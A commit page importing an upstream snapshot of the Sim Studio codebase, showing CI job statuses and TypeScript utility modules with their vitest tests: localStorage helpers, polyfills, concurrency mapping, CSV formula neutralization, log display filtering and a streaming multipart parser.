chore: import upstream snapshot with attribution
Publish CLI Package / publish-npm (push) Waiting to run
Publish Python SDK / publish-pypi (push) Waiting to run
Publish TypeScript SDK / publish-npm (push) Waiting to run
CI / Migrate Dev DB (push) Has been skipped
CI / Detect Version (push) Has been cancelled
CI / Migrate DB (push) Has been cancelled
CI / Build Dev ECR (./docker/app.Dockerfile, ECR_APP) (push) Has been cancelled
CI / Build Dev ECR (./docker/db.Dockerfile, ECR_MIGRATIONS) (push) Has been cancelled
CI / Build Dev ECR (./docker/pii.Dockerfile, ECR_PII) (push) Has been cancelled
CI / Build Dev ECR (./docker/realtime.Dockerfile, ECR_REALTIME) (push) Has been cancelled
CI / Deploy Trigger.dev (Dev) (push) Has been cancelled
CI / Build AMD64 (./docker/app.Dockerfile, ECR_APP, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build AMD64 (./docker/db.Dockerfile, ECR_MIGRATIONS, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build AMD64 (./docker/pii.Dockerfile, ECR_PII, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build AMD64 (./docker/realtime.Dockerfile, ECR_REALTIME, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/app.Dockerfile, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/db.Dockerfile, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/pii.Dockerfile, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/realtime.Dockerfile, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Check Docs Changes (push) Has been cancelled
CI / Process Docs (push) Has been cancelled
CI / Create GitHub Release (push) Has been cancelled
CI / Test and Build (push) Has been cancelled

This commit is contained in:
wehub-resource-sync
2026-07-13 13:20:55 +08:00
commit d25d482dc2
13754 changed files with 4996608 additions and 0 deletions
+13
View File
@@ -0,0 +1,13 @@
import { describe, expect, it } from 'vitest'
import { normalizeStringArray } from '@/lib/core/utils/arrays'
describe('array normalization utilities', () => {
it('normalizes string arrays loaded from untyped state', () => {
expect(normalizeStringArray(['output-1', 2, 'output-2', null])).toEqual([
'output-1',
'output-2',
])
expect(normalizeStringArray('output-1')).toEqual([])
expect(normalizeStringArray(undefined)).toEqual([])
})
})
+10
View File
@@ -0,0 +1,10 @@
/**
* Normalizes optional string-list values loaded from untyped persisted state.
*/
export function normalizeStringArray(value: unknown): string[] {
if (!Array.isArray(value)) {
return []
}
return value.filter((item): item is string => typeof item === 'string')
}
@@ -0,0 +1,36 @@
/**
* @vitest-environment node
*/
import { sleep } from '@sim/utils/helpers'
import { describe, expect, it, vi } from 'vitest'
import { runDetached } from '@/lib/core/utils/background'
const flushMicrotasks = () => sleep(0)
describe('runDetached', () => {
it('runs the work without the caller awaiting it', async () => {
const work = vi.fn().mockResolvedValue(undefined)
runDetached('test', work)
await flushMicrotasks()
expect(work).toHaveBeenCalledTimes(1)
})
it('swallows rejections so they do not surface as unhandled', async () => {
const work = vi.fn().mockRejectedValue(new Error('boom'))
expect(() => runDetached('test', work)).not.toThrow()
await flushMicrotasks()
expect(work).toHaveBeenCalledTimes(1)
})
it('swallows synchronous throws from work', async () => {
const work = vi.fn(() => {
throw new Error('sync boom')
})
expect(() => runDetached('test', work)).not.toThrow()
await flushMicrotasks()
})
})
+26
View File
@@ -0,0 +1,26 @@
import { createLogger } from '@sim/logger'
import { toError } from '@sim/utils/errors'
const logger = createLogger('BackgroundTask')
/**
* Runs work detached from the HTTP response so a caller (e.g. a cron job with a
* short request timeout) receives an immediate response while processing
* continues on the long-lived server process.
*
* `withRouteHandler` only wraps awaited work in its try/catch, so a detached
* promise must catch its own rejection or it surfaces as an `unhandledRejection`.
* The request-scoped AsyncLocalStorage context (request ID) is captured when the
* work is scheduled and preserved across the detached continuation, so loggers
* inside `work` keep the originating request ID.
*
* @param label - Identifier used in the failure log line.
* @param work - The async work to run in the background.
*/
export function runDetached(label: string, work: () => Promise<unknown>): void {
void Promise.resolve()
.then(work)
.catch((error) => {
logger.error(`Background task failed: ${label}`, toError(error))
})
}
@@ -0,0 +1,47 @@
/**
* Polyfills for `Promise.withResolvers` (Safari < 17.4, Chrome < 119) and
* `URL.parse` (Safari < 18, Chrome < 126), which pdf.js 5.x calls at
* module-evaluation time. Without them, importing `react-pdf`/`pdfjs-dist`
* throws before anything renders, so this module must be imported for its
* side effects BEFORE those imports. The pdf.js worker runs in a separate
* context these polyfills cannot reach; it is covered by serving pdf.js's
* self-polyfilling legacy worker build (see pdf-viewer.tsx).
*
* Typed locally because the repo TS lib is ES2022, which predates both APIs.
*/
interface PromiseWithResolversResult<T> {
promise: Promise<T>
resolve: (value: T | PromiseLike<T>) => void
reject: (reason?: unknown) => void
}
const promiseCtor = Promise as typeof Promise & {
withResolvers?: <T>() => PromiseWithResolversResult<T>
}
if (typeof promiseCtor.withResolvers !== 'function') {
promiseCtor.withResolvers = <T>(): PromiseWithResolversResult<T> => {
let resolve!: (value: T | PromiseLike<T>) => void
let reject!: (reason?: unknown) => void
const promise = new Promise<T>((res, rej) => {
resolve = res
reject = rej
})
return { promise, resolve, reject }
}
}
const urlCtor = URL as typeof URL & {
parse?: (url: string | URL, base?: string | URL) => URL | null
}
if (typeof urlCtor.parse !== 'function') {
urlCtor.parse = (url: string | URL, base?: string | URL): URL | null => {
try {
return new URL(url, base)
} catch {
return null
}
}
}
@@ -0,0 +1,88 @@
/**
* @vitest-environment jsdom
*/
import { beforeEach, describe, expect, it, vi } from 'vitest'
import { MothershipHandoffStorage, STORAGE_KEYS } from '@/lib/core/utils/browser-storage'
import type { ChatContext } from '@/stores/panel'
const WS = 'ws-1'
describe('MothershipHandoffStorage', () => {
beforeEach(() => {
localStorage.clear()
})
it('round-trips a handoff and trims the message, preserving contexts', () => {
const contexts: ChatContext[] = [{ kind: 'logs', executionId: 'run-1', label: 'My Flow' }]
expect(MothershipHandoffStorage.store({ message: ' fix it ', contexts }, WS)).toBe(true)
expect(MothershipHandoffStorage.consume(WS)).toEqual({ message: 'fix it', contexts })
})
it('is one-shot — a second consume returns null', () => {
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
expect(MothershipHandoffStorage.consume(WS)).not.toBeNull()
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
})
it('refuses to store without a message or workspace', () => {
expect(MothershipHandoffStorage.store({ message: ' ' }, WS)).toBe(false)
expect(MothershipHandoffStorage.store({ message: 'fix it' }, '')).toBe(false)
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
})
it('leaves a handoff owned by another workspace untouched for its owner', () => {
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
// A different workspace must not claim it, and must not clear it.
expect(MothershipHandoffStorage.consume('ws-other')).toBeNull()
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).not.toBeNull()
// The owning workspace still consumes it.
expect(MothershipHandoffStorage.consume(WS)).toEqual({ message: 'fix it', contexts: undefined })
})
it('tombstones a corrupted entry (missing timestamp) instead of leaving it forever', () => {
localStorage.setItem(
STORAGE_KEYS.MOTHERSHIP_HANDOFF,
JSON.stringify({ message: 'fix it', workspaceId: WS })
)
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
})
it('tombstones a legacy entry (message + timestamp, no workspaceId) rather than firing it', () => {
// The old pre-scoping format could be sitting in storage across a deploy —
// it must be discarded, not attributed to the current workspace.
vi.useFakeTimers()
try {
vi.setSystemTime(new Date('2026-01-01T00:00:00Z'))
localStorage.setItem(
STORAGE_KEYS.MOTHERSHIP_HANDOFF,
JSON.stringify({ message: 'fix it', timestamp: Date.now() })
)
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
} finally {
vi.useRealTimers()
}
})
it('drops and clears a handoff older than maxAge', () => {
vi.useFakeTimers()
try {
vi.setSystemTime(new Date('2026-01-01T00:00:00Z'))
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
vi.advanceTimersByTime(61 * 1000)
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
} finally {
vi.useRealTimers()
}
})
})
+382
View File
@@ -0,0 +1,382 @@
/**
* Safe localStorage utilities with SSR support
* Provides clean error handling and type safety for browser storage operations
*/
import { createLogger } from '@sim/logger'
import type { ChatContext } from '@/stores/panel'
const logger = createLogger('BrowserStorage')
/**
* Safe localStorage operations with fallbacks
*/
export class BrowserStorage {
/**
* Safely gets an item from localStorage
* @param key - The storage key
* @param defaultValue - The default value to return if key doesn't exist or access fails
* @returns The stored value or default value
*/
static getItem<T = string>(key: string, defaultValue: T): T {
if (typeof window === 'undefined') {
return defaultValue
}
try {
const item = window.localStorage.getItem(key)
if (item === null) {
return defaultValue
}
try {
return JSON.parse(item) as T
} catch {
return item as T
}
} catch (error) {
logger.warn(`Failed to get localStorage item "${key}":`, error)
return defaultValue
}
}
/**
* Safely sets an item in localStorage
* @param key - The storage key
* @param value - The value to store
* @returns True if successful, false otherwise
*/
static setItem<T>(key: string, value: T): boolean {
if (typeof window === 'undefined') {
return false
}
try {
const serializedValue = typeof value === 'string' ? value : JSON.stringify(value)
window.localStorage.setItem(key, serializedValue)
return true
} catch (error) {
logger.warn(`Failed to set localStorage item "${key}":`, error)
return false
}
}
/**
* Safely removes an item from localStorage
* @param key - The storage key to remove
* @returns True if successful, false otherwise
*/
static removeItem(key: string): boolean {
if (typeof window === 'undefined') {
return false
}
try {
window.localStorage.removeItem(key)
return true
} catch (error) {
logger.warn(`Failed to remove localStorage item "${key}":`, error)
return false
}
}
/**
* Check if localStorage is available
* @returns True if localStorage is available and accessible
*/
static isAvailable(): boolean {
if (typeof window === 'undefined') {
return false
}
try {
const testKey = '__test_localStorage_availability__'
window.localStorage.setItem(testKey, 'test')
window.localStorage.removeItem(testKey)
return true
} catch {
return false
}
}
}
export const STORAGE_KEYS = {
LANDING_PAGE_PROMPT: 'sim_landing_page_prompt',
LANDING_PAGE_WORKFLOW_SEED: 'sim_landing_page_workflow_seed',
WORKSPACE_RECENCY: 'sim_workspace_recency',
MOTHERSHIP_HANDOFF: 'sim_mothership_handoff',
} as const
export class WorkspaceRecencyStorage {
private static readonly KEY = STORAGE_KEYS.WORKSPACE_RECENCY
static touch(workspaceId: string): void {
const map = WorkspaceRecencyStorage.getAll()
map[workspaceId] = Date.now()
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
}
static getAll(): Record<string, number> {
return BrowserStorage.getItem<Record<string, number>>(WorkspaceRecencyStorage.KEY, {})
}
static getMostRecent(): string | null {
const map = WorkspaceRecencyStorage.getAll()
const entries = Object.entries(map)
if (entries.length === 0) return null
entries.sort((a, b) => b[1] - a[1])
return entries[0][0]
}
static remove(workspaceId: string): void {
const map = WorkspaceRecencyStorage.getAll()
delete map[workspaceId]
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
}
/**
* Removes localStorage entries for workspace IDs not in the provided list.
* Call from effects or event handlers, not during render.
*/
static prune(validIds: Set<string>): void {
const map = WorkspaceRecencyStorage.getAll()
let pruned = false
for (const id of Object.keys(map)) {
if (!validIds.has(id)) {
delete map[id]
pruned = true
}
}
if (pruned) {
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
}
}
/**
* Sorts workspaces by recency (most recent first).
* Workspaces without a recorded timestamp are placed after tracked ones.
* Pure function safe for use in render-phase computations.
*/
static sortByRecency<T extends { id: string }>(workspaces: T[]): T[] {
const map = WorkspaceRecencyStorage.getAll()
return [...workspaces].sort((a, b) => {
const aTime = map[a.id] ?? 0
const bTime = map[b.id] ?? 0
return bTime - aTime
})
}
}
/**
* Specialized utility for managing the landing page prompt
*/
export class LandingPromptStorage {
private static readonly KEY = STORAGE_KEYS.LANDING_PAGE_PROMPT
/**
* Store a prompt from the landing page
* @param prompt - The prompt text to store
* @returns True if successful, false otherwise
*/
static store(prompt: string): boolean {
if (!prompt || prompt.trim().length === 0) {
return false
}
const data = {
prompt: prompt.trim(),
timestamp: Date.now(),
}
return BrowserStorage.setItem(LandingPromptStorage.KEY, data)
}
/**
* Retrieve and consume the stored prompt
* @param maxAge - Maximum age of the prompt in milliseconds (default: 24 hours)
* @returns The stored prompt or null if not found/expired
*/
static consume(maxAge: number = 24 * 60 * 60 * 1000): string | null {
const data = BrowserStorage.getItem<{ prompt: string; timestamp: number } | null>(
LandingPromptStorage.KEY,
null
)
if (!data || !data.prompt || !data.timestamp) {
return null
}
const age = Date.now() - data.timestamp
if (age > maxAge) {
LandingPromptStorage.clear()
return null
}
LandingPromptStorage.clear()
return data.prompt
}
/**
* Check if there's a stored prompt without consuming it
* @param maxAge - Maximum age of the prompt in milliseconds (default: 24 hours)
* @returns True if there's a valid prompt, false otherwise
*/
static hasPrompt(maxAge: number = 24 * 60 * 60 * 1000): boolean {
const data = BrowserStorage.getItem<{ prompt: string; timestamp: number } | null>(
LandingPromptStorage.KEY,
null
)
if (!data || !data.prompt || !data.timestamp) {
return false
}
const age = Date.now() - data.timestamp
if (age > maxAge) {
LandingPromptStorage.clear()
return false
}
return true
}
/**
* Clear the stored prompt
* @returns True if successful, false otherwise
*/
static clear(): boolean {
return BrowserStorage.removeItem(LandingPromptStorage.KEY)
}
}
export interface LandingWorkflowSeed {
templateId: string
workflowName: string
workflowDescription?: string
workflowJson: string
}
/**
* Specialized utility for managing a landing-page workflow seed.
* Stores a workflow export JSON so it can be imported after signup.
*/
export class LandingWorkflowSeedStorage {
private static readonly KEY = STORAGE_KEYS.LANDING_PAGE_WORKFLOW_SEED
static store(seed: LandingWorkflowSeed): boolean {
if (!seed.templateId || !seed.workflowName || !seed.workflowJson) {
return false
}
return BrowserStorage.setItem(LandingWorkflowSeedStorage.KEY, {
...seed,
timestamp: Date.now(),
})
}
static consume(maxAge: number = 24 * 60 * 60 * 1000): LandingWorkflowSeed | null {
const data = BrowserStorage.getItem<(LandingWorkflowSeed & { timestamp: number }) | null>(
LandingWorkflowSeedStorage.KEY,
null
)
if (!data || !data.templateId || !data.workflowName || !data.timestamp || !data.workflowJson) {
return null
}
if (Date.now() - data.timestamp > maxAge) {
LandingWorkflowSeedStorage.clear()
return null
}
LandingWorkflowSeedStorage.clear()
const { timestamp: _timestamp, ...seed } = data
return seed
}
static clear(): boolean {
return BrowserStorage.removeItem(LandingWorkflowSeedStorage.KEY)
}
}
export interface MothershipHandoff {
/** The message to auto-send to Chat once the home surface mounts. */
message: string
/** Structured contexts to attach — e.g. a `logs` mention tagging a run. */
contexts?: ChatContext[]
}
/**
* One-shot handoff that seeds an auto-sent Chat (mothership) message when the
* user is routed to the workspace home from elsewhere in the app — e.g. the
* "Troubleshoot in Chat" action on an errored log, which tags the failed run
* and asks Sim to fix it.
*
* The home surface consumes this exactly once on mount. A short max-age guards
* against a stale handoff firing on a later, unrelated visit, and `consume`
* always clears the entry so it can never be replayed.
*/
export class MothershipHandoffStorage {
private static readonly KEY = STORAGE_KEYS.MOTHERSHIP_HANDOFF
/**
* Store a handoff to be auto-sent on the next home-surface mount, scoped to
* the workspace it targets so a different workspace never claims it.
* @returns True if stored, false when the message or workspace is empty.
*/
static store(handoff: MothershipHandoff, workspaceId: string): boolean {
const message = handoff.message.trim()
if (!message || !workspaceId) {
return false
}
return BrowserStorage.setItem(MothershipHandoffStorage.KEY, {
message,
contexts: handoff.contexts,
workspaceId,
timestamp: Date.now(),
})
}
/**
* Retrieve and consume the stored handoff for `workspaceId`. A handoff owned
* by a different workspace is left untouched for its owner — its tagged run
* only resolves in its own workspace, so misfiring it elsewhere would drop the
* context. The owner (and any legacy/corrupt entry) is tombstoned via `clear`
* before the validity/expiry checks so it fires at most once and never lingers.
* @param maxAge - Maximum age in milliseconds (default: 60 seconds)
*/
static consume(workspaceId: string, maxAge: number = 60 * 1000): MothershipHandoff | null {
const data = BrowserStorage.getItem<{
message?: string
contexts?: ChatContext[]
workspaceId?: string
timestamp?: number
} | null>(MothershipHandoffStorage.KEY, null)
if (!data) {
return null
}
if (data.workspaceId && data.workspaceId !== workspaceId) {
return null
}
MothershipHandoffStorage.clear()
if (
!data.workspaceId ||
!data.message ||
!data.timestamp ||
Date.now() - data.timestamp > maxAge
) {
return null
}
return { message: data.message, contexts: data.contexts }
}
static clear(): boolean {
return BrowserStorage.removeItem(MothershipHandoffStorage.KEY)
}
}
+35
View File
@@ -0,0 +1,35 @@
/**
* Maps over `items` with at most `limit` concurrent invocations of `fn`,
* preserving input order in the result. Use to bound fan-out (e.g. per-row
* object-storage reads) so a large batch doesn't issue every request at once.
*
* Contract: `fn` MUST NOT reject. Results are awaited via `Promise.all`, so a
* single rejection fails the entire batch (e.g. one bad row would break a whole
* logs export/list page). Callers that materialize per-row data pass a total
* mapper (one that catches and returns a degraded value rather than throwing);
* keep it that way. If a future caller needs per-item isolation, add an
* allSettled-style variant rather than letting a throwing mapper through here.
*/
export async function mapWithConcurrency<T, R>(
items: readonly T[],
limit: number,
fn: (item: T, index: number) => Promise<R>
): Promise<R[]> {
const results = new Array<R>(items.length)
const workerCount = Math.max(1, Math.min(limit, items.length))
let cursor = 0
const worker = async (): Promise<void> => {
while (true) {
const index = cursor++
if (index >= items.length) return
results[index] = await fn(items[index], index)
}
}
await Promise.all(Array.from({ length: workerCount }, worker))
return results
}
/** Default bound for per-row object-storage materialization fan-out. */
export const MATERIALIZE_CONCURRENCY = 20
+7
View File
@@ -0,0 +1,7 @@
/**
* Prefixes a single quote to values starting with a spreadsheet formula trigger
* (`=`, `+`, `-`, `@`, tab, CR), neutralizing CSV injection in Excel/Sheets.
*/
export function neutralizeCsvFormula(value: string): string {
return /^[=+\-@\t\r]/.test(value) ? `'${value}` : value
}
+182
View File
@@ -0,0 +1,182 @@
import { filterUserFileForDisplay, isUserFile } from '@/lib/core/utils/user-file'
const MAX_STRING_LENGTH = 15000
const MAX_DEPTH = 50
function truncateString(value: string, maxLength = MAX_STRING_LENGTH): string {
if (value.length <= maxLength) {
return value
}
return `${value.substring(0, maxLength)}... [truncated ${value.length - maxLength} chars]`
}
function filterUserFile(data: any): any {
if (isUserFile(data)) {
return filterUserFileForDisplay(data)
}
return data
}
const DISPLAY_FILTERS = [filterUserFile]
export function filterForDisplay(data: any): any {
const seen = new Set<object>()
return filterForDisplayInternal(data, seen, 0)
}
function getObjectType(data: unknown): string {
return Object.prototype.toString.call(data).slice(8, -1)
}
function filterForDisplayInternal(data: any, seen: Set<object>, depth: number): any {
try {
if (data === null || data === undefined) {
return data
}
const dataType = typeof data
if (dataType === 'string') {
// Remove null bytes which are not allowed in PostgreSQL JSONB
const sanitized = data.includes('\u0000') ? data.replace(/\u0000/g, '') : data
return truncateString(sanitized)
}
if (dataType === 'number') {
if (Number.isNaN(data)) {
return '[NaN]'
}
if (!Number.isFinite(data)) {
return data > 0 ? '[Infinity]' : '[-Infinity]'
}
return data
}
if (dataType === 'boolean') {
return data
}
if (dataType === 'bigint') {
return `[BigInt: ${data.toString()}]`
}
if (dataType === 'symbol') {
return `[Symbol: ${data.toString()}]`
}
if (dataType === 'function') {
return `[Function: ${data.name || 'anonymous'}]`
}
if (dataType !== 'object') {
return '[Unknown Type]'
}
// True circular reference: object is an ancestor in the current path
if (seen.has(data)) {
return '[Circular Reference]'
}
if (depth > MAX_DEPTH) {
return '[Max Depth Exceeded]'
}
const objectType = getObjectType(data)
switch (objectType) {
case 'Date': {
const timestamp = (data as Date).getTime()
if (Number.isNaN(timestamp)) {
return '[Invalid Date]'
}
return (data as Date).toISOString()
}
case 'RegExp':
return (data as RegExp).toString()
case 'URL':
return (data as URL).toString()
case 'Error': {
const err = data as Error
return {
name: err.name,
message: truncateString(err.message),
stack: err.stack ? truncateString(err.stack) : undefined,
}
}
case 'ArrayBuffer':
return `[ArrayBuffer: ${(data as ArrayBuffer).byteLength} bytes]`
case 'Map': {
seen.add(data)
const obj: Record<string, any> = {}
for (const [key, value] of (data as Map<any, any>).entries()) {
const keyStr = typeof key === 'string' ? key : String(key)
obj[keyStr] = filterForDisplayInternal(value, seen, depth + 1)
}
seen.delete(data)
return obj
}
case 'Set': {
seen.add(data)
const result = Array.from(data as Set<any>).map((item) =>
filterForDisplayInternal(item, seen, depth + 1)
)
seen.delete(data)
return result
}
case 'WeakMap':
return '[WeakMap]'
case 'WeakSet':
return '[WeakSet]'
case 'WeakRef':
return '[WeakRef]'
case 'Promise':
return '[Promise]'
}
if (ArrayBuffer.isView(data)) {
return `[${objectType}: ${(data as ArrayBufferView).byteLength} bytes]`
}
// Add to current path before processing children
seen.add(data)
for (const filterFn of DISPLAY_FILTERS) {
const filtered = filterFn(data)
if (filtered !== data) {
const result = filterForDisplayInternal(filtered, seen, depth + 1)
seen.delete(data)
return result
}
}
if (Array.isArray(data)) {
const result = data.map((item) => filterForDisplayInternal(item, seen, depth + 1))
seen.delete(data)
return result
}
const result: Record<string, any> = {}
for (const key of Object.keys(data)) {
try {
result[key] = filterForDisplayInternal(data[key], seen, depth + 1)
} catch {
result[key] = '[Error accessing property]'
}
}
// Remove from current path after processing children
seen.delete(data)
return result
} catch {
return '[Unserializable]'
}
}
+19
View File
@@ -0,0 +1,19 @@
/**
* Base class for domain errors that map to a specific HTTP status when they
* bubble up unhandled through `withRouteHandler`. Modeled after NestJS
* `HttpException` / Spring `ResponseStatusException`: subclasses declare a
* concrete `statusCode`, and the centralized route wrapper uses an
* `instanceof HttpError` check (not duck-typing on a `statusCode` property)
* to decide whether to forward the error's `message` to the client.
*
* Using a class check prevents third-party errors that happen to carry a
* `statusCode`-shaped field from being treated as typed HTTP errors and
* leaking internal details.
*
* Subclasses MUST ensure that `message` is safe to expose to clients — no
* stack traces, secrets, file paths, ORM internals, or upstream provider
* details.
*/
export abstract class HttpError extends Error {
abstract readonly statusCode: number
}
+21
View File
@@ -0,0 +1,21 @@
import { truncate } from '@sim/utils/string'
/**
* Sanitize URLs for logging by stripping query/hash and truncating.
*/
export function sanitizeUrlForLog(url: string, maxLength = 120): string {
if (!url) return ''
const trimmed = url.trim()
try {
const hasProtocol = /^[a-zA-Z][a-zA-Z\d+\-.]*:/.test(trimmed)
const parsed = new URL(trimmed, hasProtocol ? undefined : 'http://localhost')
const origin = parsed.origin === 'null' ? '' : parsed.origin
const sanitized = `${origin}${parsed.pathname}`
const result = sanitized || parsed.pathname || trimmed
return truncate(result, maxLength)
} catch {
const withoutQuery = trimmed.split('?')[0].split('#')[0]
return truncate(withoutQuery, maxLength)
}
}
+203
View File
@@ -0,0 +1,203 @@
/**
* @vitest-environment node
*/
import type { Readable } from 'node:stream'
import { describe, expect, it } from 'vitest'
import { isMultipartError, type MultipartError, readMultipart } from '@/lib/core/utils/multipart'
type Part =
| { name: string; value: string }
| { name: string; filename: string; value: string; contentType?: string }
const BOUNDARY = '----testboundary1234'
function buildBody(parts: Part[], boundary = BOUNDARY): Buffer {
const segments: Buffer[] = []
for (const part of parts) {
let header = `--${boundary}\r\nContent-Disposition: form-data; name="${part.name}"`
if ('filename' in part) {
header += `; filename="${part.filename}"\r\nContent-Type: ${part.contentType ?? 'text/csv'}`
}
header += '\r\n\r\n'
segments.push(Buffer.from(header, 'utf8'), Buffer.from(part.value, 'utf8'), Buffer.from('\r\n'))
}
segments.push(Buffer.from(`--${boundary}--\r\n`, 'utf8'))
return Buffer.concat(segments)
}
function toWebStream(body: Buffer, chunkSize?: number): ReadableStream<Uint8Array> {
return new ReadableStream<Uint8Array>({
start(controller) {
if (chunkSize) {
for (let i = 0; i < body.length; i += chunkSize) {
controller.enqueue(new Uint8Array(body.subarray(i, i + chunkSize)))
}
} else {
controller.enqueue(new Uint8Array(body))
}
controller.close()
},
})
}
function makeRequest(
parts: Part[],
opts?: { chunkSize?: number; contentType?: string; boundary?: string }
) {
const boundary = opts?.boundary ?? BOUNDARY
return {
headers: new Headers({
'content-type': opts?.contentType ?? `multipart/form-data; boundary=${boundary}`,
}),
body: toWebStream(buildBody(parts, boundary), opts?.chunkSize),
}
}
async function readStream(stream: Readable): Promise<string> {
const chunks: Buffer[] = []
for await (const chunk of stream) chunks.push(Buffer.from(chunk))
return Buffer.concat(chunks).toString('utf8')
}
function expectCode(error: unknown, code: MultipartError['code']) {
expect(isMultipartError(error)).toBe(true)
expect((error as MultipartError).code).toBe(code)
}
describe('readMultipart', () => {
it('parses text fields (before the file) and exposes the file stream', async () => {
const csv = 'name,age\nAlice,30\n'
const request = makeRequest([
{ name: 'workspaceId', value: 'ws-1' },
{ name: 'file', filename: 'data.csv', value: csv },
])
const { fields, file } = await readMultipart(request, {
maxFileBytes: 1024,
requiredFieldsBeforeFile: ['workspaceId'],
})
expect(fields.workspaceId).toBe('ws-1')
expect(file?.filename).toBe('data.csv')
expect(file?.fieldName).toBe('file')
expect(await readStream(file!.stream)).toBe(csv)
})
it('handles a body delivered in tiny chunks (split mid-boundary)', async () => {
const csv = 'name,age\nAlice,30\nBob,40\n'
const request = makeRequest(
[
{ name: 'workspaceId', value: 'ws-1' },
{ name: 'file', filename: 'data.csv', value: csv },
],
{ chunkSize: 3 }
)
const { file } = await readMultipart(request, { maxFileBytes: 1024 })
expect(await readStream(file!.stream)).toBe(csv)
})
it('rejects FIELD_AFTER_FILE when a required field comes after the file', async () => {
const request = makeRequest([
{ name: 'file', filename: 'data.csv', value: 'name\nAlice\n' },
{ name: 'workspaceId', value: 'ws-1' },
])
await readMultipart(request, {
maxFileBytes: 1024,
requiredFieldsBeforeFile: ['workspaceId'],
}).then(
() => {
throw new Error('expected rejection')
},
(err) => expectCode(err, 'FIELD_AFTER_FILE')
)
})
it('rejects NO_FILE when the body has no file part', async () => {
const request = makeRequest([{ name: 'workspaceId', value: 'ws-1' }])
await readMultipart(request, { maxFileBytes: 1024 }).then(
() => {
throw new Error('expected rejection')
},
(err) => expectCode(err, 'NO_FILE')
)
})
it('rejects NOT_MULTIPART for a non-multipart content type', async () => {
const request = {
headers: new Headers({ 'content-type': 'application/json' }),
body: toWebStream(Buffer.from('{}')),
}
await readMultipart(request, { maxFileBytes: 1024 }).then(
() => {
throw new Error('expected rejection')
},
(err) => expectCode(err, 'NOT_MULTIPART')
)
})
it('errors the file stream with FILE_TOO_LARGE when the cap is exceeded', async () => {
const request = makeRequest([
{ name: 'workspaceId', value: 'ws-1' },
{ name: 'file', filename: 'big.csv', value: 'x'.repeat(500) },
])
const { file } = await readMultipart(request, { maxFileBytes: 50 })
await readStream(file!.stream).then(
() => {
throw new Error('expected stream error')
},
(err) => expectCode(err, 'FILE_TOO_LARGE')
)
})
it('rejects when the signal is already aborted', async () => {
const controller = new AbortController()
controller.abort()
const request = makeRequest([
{ name: 'workspaceId', value: 'ws-1' },
{ name: 'file', filename: 'data.csv', value: 'name\nAlice\n' },
])
await expect(
readMultipart(request, { maxFileBytes: 1024, signal: controller.signal })
).rejects.toBeTruthy()
})
it('destroys the file stream when the signal aborts mid-upload (after resolve)', async () => {
const controller = new AbortController()
// A body that delivers the file-part header but never closes, so the file stream stays open
// after readMultipart resolves — mimicking a client still uploading.
let enqueue!: (b: Buffer) => void
const body = new ReadableStream<Uint8Array>({
start(c) {
enqueue = (b) => c.enqueue(new Uint8Array(b))
},
})
const head = Buffer.concat([
Buffer.from(
`--${BOUNDARY}\r\nContent-Disposition: form-data; name="workspaceId"\r\n\r\nws-1\r\n`
),
Buffer.from(
`--${BOUNDARY}\r\nContent-Disposition: form-data; name="file"; filename="data.csv"\r\nContent-Type: text/csv\r\n\r\n`
),
Buffer.from('name,age\n'),
])
const request = {
headers: new Headers({ 'content-type': `multipart/form-data; boundary=${BOUNDARY}` }),
body,
}
enqueue(head)
const parsed = await readMultipart(request, {
maxFileBytes: 1024,
requiredFieldsBeforeFile: ['workspaceId'],
signal: controller.signal,
})
expect(parsed.file).toBeTruthy()
controller.abort()
await expect(readStream(parsed.file!.stream)).rejects.toBeTruthy()
})
})
+249
View File
@@ -0,0 +1,249 @@
import { Readable } from 'node:stream'
import type { ReadableStream as NodeReadableStream } from 'node:stream/web'
import { getErrorMessage } from '@sim/utils/errors'
import busboy from 'busboy'
/**
* Streaming multipart/form-data reader built on `busboy`.
*
* Unlike `request.formData()` (undici), this never buffers the whole request
* body in memory and does not depend on a correct `content-length`/boundary —
* it parses the request as it streams off the socket. The single file part is
* surfaced as an un-drained Node {@link Readable} so the caller can run auth /
* create-table work BEFORE consuming the (potentially huge) file bytes.
*
* @see readMultipart
*/
/** Error codes surfaced by {@link readMultipart} and the returned file stream. */
export type MultipartErrorCode =
| 'NOT_MULTIPART'
| 'NO_BODY'
| 'FILE_TOO_LARGE'
| 'FIELD_AFTER_FILE'
| 'NO_FILE'
| 'PARSE_ERROR'
/**
* Error thrown by {@link readMultipart} (for pre-file failures) or emitted on
* the returned file stream (for failures during consumption, e.g.
* `FILE_TOO_LARGE`). Callers map `code` to an HTTP status.
*/
export class MultipartError extends Error {
readonly code: MultipartErrorCode
constructor(code: MultipartErrorCode, message: string) {
super(message)
this.name = 'MultipartError'
this.code = code
}
}
export function isMultipartError(error: unknown): error is MultipartError {
return error instanceof MultipartError
}
